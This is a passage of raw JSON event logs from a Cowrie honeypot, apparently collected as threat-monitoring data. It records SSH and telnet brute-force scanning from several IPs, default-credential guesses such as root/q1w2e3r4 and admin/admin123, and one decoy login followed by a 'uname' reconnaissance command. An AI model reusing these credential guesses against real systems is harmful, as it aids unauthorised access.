-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:43.450163Z","src_ip":"45.153.34.114","session":"e00266929ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:43.710870Z","src_ip":"45.153.34.114","session":"e00266929ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":45902,"dst_ip":"10.17.0.5","dst_port":22,"session":"98fc30a9f7f5","protocol":"ssh","message":"New connection: 80.94.92.182:45902 (10.17.0.5:22) [session: 98fc30a9f7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:44.167188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:44.298475Z","src_ip":"80.94.92.182","session":"98fc30a9f7f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:44.302492Z","src_ip":"80.94.92.182","session":"98fc30a9f7f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:44.804807Z","src_ip":"45.153.34.114","session":"e00266929ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:45.597348Z","src_ip":"80.94.92.182","session":"98fc30a9f7f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:46.798256Z","src_ip":"80.94.92.182","session":"98fc30a9f7f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.128087043762207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:49.907724Z","src_ip":"74.91.213.120","session":"4a5e6cb129dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58280,"dst_ip":"159.203.135.109","dst_port":22,"session":"4204fc138f6f","protocol":"ssh","message":"New connection: 45.153.34.114:58280 (159.203.135.109:22) [session: 4204fc138f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:51.041342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:51.046177Z","src_ip":"45.153.34.114","session":"4204fc138f6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:51.136075Z","src_ip":"45.153.34.114","session":"4204fc138f6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:51.391071Z","src_ip":"45.153.34.114","session":"4204fc138f6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:52.491890Z","src_ip":"45.153.34.114","session":"4204fc138f6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":39290,"dst_ip":"159.203.135.109","dst_port":23,"session":"e30c3d67bd4d","protocol":"telnet","message":"New connection: 74.91.213.120:39290 (159.203.135.109:23) [session: e30c3d67bd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:56.153378Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":58882,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1d473b88cec","protocol":"telnet","message":"New connection: 74.91.213.120:58882 (159.203.135.109:23) [session: a1d473b88cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:59.039188Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58296,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ccef9c5cf75","protocol":"ssh","message":"New connection: 45.153.34.114:58296 (159.203.135.109:22) [session: 9ccef9c5cf75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:59.050245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:59.055472Z","src_ip":"45.153.34.114","session":"9ccef9c5cf75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:59.141769Z","src_ip":"45.153.34.114","session":"9ccef9c5cf75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:00:59.409366Z","src_ip":"45.153.34.114","session":"9ccef9c5cf75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:00.499628Z","src_ip":"45.153.34.114","session":"9ccef9c5cf75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":58898,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9a2b3e5c774","protocol":"telnet","message":"New connection: 74.91.213.120:58898 (159.203.135.109:23) [session: b9a2b3e5c774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:01.058590Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":58910,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa5208465d83","protocol":"telnet","message":"New connection: 74.91.213.120:58910 (159.203.135.109:23) [session: fa5208465d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:05.130534Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39718,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fa5725dafcc","protocol":"ssh","message":"New connection: 45.153.34.114:39718 (159.203.135.109:22) [session: 9fa5725dafcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:07.340459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:07.345547Z","src_ip":"45.153.34.114","session":"9fa5725dafcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:07.449234Z","src_ip":"45.153.34.114","session":"9fa5725dafcc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:07.862934Z","src_ip":"45.153.34.114","session":"9fa5725dafcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:08.074582Z","src_ip":"45.153.34.114","session":"9fa5725dafcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:08.077371Z","src_ip":"45.153.34.114","session":"9fa5725dafcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:08.165771Z","src_ip":"45.153.34.114","session":"9fa5725dafcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:08.171009Z","src_ip":"45.153.34.114","session":"9fa5725dafcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":35620,"dst_ip":"10.17.0.5","dst_port":22,"session":"1484a22905e5","protocol":"ssh","message":"New connection: 178.20.210.186:35620 (10.17.0.5:22) [session: 1484a22905e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:09.517097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:09.521721Z","src_ip":"178.20.210.186","session":"1484a22905e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:09.634015Z","src_ip":"178.20.210.186","session":"1484a22905e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.2.70","src_port":32858,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fce2a84593f","protocol":"ssh","message":"New connection: 209.126.2.70:32858 (10.17.0.5:22) [session: 9fce2a84593f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:09.689621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:09.694435Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:09.777210Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:d1:83:b4:e6:04:2f:7b:a9:0e:60:15:74:87:2d:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCVdnhhpz12sWGANj31q3wRjxsfnd2HQ9r3dMmX81x2M+BtbfMDGBpMWSP9kJmoOte5o0croW0pp32ISgZhYeZ4VmqxKCXiBtCA7NVWTl587FZWuP3HJQbikf9bUZgOKxy2+Rqgw5lrmwyPl/qx3irFgxjC3wRRGxXM/Sq1tScwFyyQo2Ew6E19+QhFWVSMsGQGHFR1/+wrR9oTRtAIo2tBlbrqCpusQ4vGpy6N8GSIO6kPE7g1y6oIRN3587RIkbZfx8cGQo6hDUlHswq8vPekrCc6U63uK9zoO3ObdFO85MO8LV+vVKU0jOifQunLj9OD7c2LQ9N+XkqP1mIxDah","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:d1:83:b4:e6:04:2f:7b:a9:0e:60:15:74:87:2d:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:09.993646Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:d1:83:b4:e6:04:2f:7b:a9:0e:60:15:74:87:2d:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCVdnhhpz12sWGANj31q3wRjxsfnd2HQ9r3dMmX81x2M+BtbfMDGBpMWSP9kJmoOte5o0croW0pp32ISgZhYeZ4VmqxKCXiBtCA7NVWTl587FZWuP3HJQbikf9bUZgOKxy2+Rqgw5lrmwyPl/qx3irFgxjC3wRRGxXM/Sq1tScwFyyQo2Ew6E19+QhFWVSMsGQGHFR1/+wrR9oTRtAIo2tBlbrqCpusQ4vGpy6N8GSIO6kPE7g1y6oIRN3587RIkbZfx8cGQo6hDUlHswq8vPekrCc6U63uK9zoO3ObdFO85MO8LV+vVKU0jOifQunLj9OD7c2LQ9N+XkqP1mIxDah","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:09.998310Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:2e:25:c3:c9:17:38:a2:28:76:26:0a:0a:27:c0:09","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANTQIXiBjJHCqHAY5XdzlIHY5uxJk7opJkjjVgJet0cg59M2HYjMTmu7jQzX0Asp7NErG+AmdlJo0QLDfLuAXTLcIU6LXsIBUhwcO2C/Jaihqu/ZCdH7J9Gm/AgY2dEP0jQ9SJtaA0kKK+manUD+plZjE3W+rnkRxVY23/JSpY6pAAAAFQCda2L/LXiSBi6BcdPdaSbLQAplZQAAAIBU/c3R/1pHh3GwMNjmUXQoGrQ0BdPWIPyo39vhZti2nPvVsAzQOa+sZPZhyvII2t1I1IV1p9DqT9tEfKPlYVWvVTdcRKBJ2MU8NPDHbtleA9hC8jJIeN3XMegMLVZL8tC69C6oRf15S+Kt4ZAPlRAKGVDPAvFRC4qKHKygkuiG3gAAAIAqpIYCpe8UtH4iBXXM9MjCtG/yDrl0VuzJG/djgUJPcEK9uaaLXyo9hHWxPnnAYAbBGF8dA0TwiuIwXJFpcnhPFAgwtjFPIlth6gnuIcByvXJKi1KTRldBS+MdlvGeCu5iScUzQRTVds0A7mDCVfNKpi2itdw2+PzQYnUiBGq78A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 94:2e:25:c3:c9:17:38:a2:28:76:26:0a:0a:27:c0:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:10.036185Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
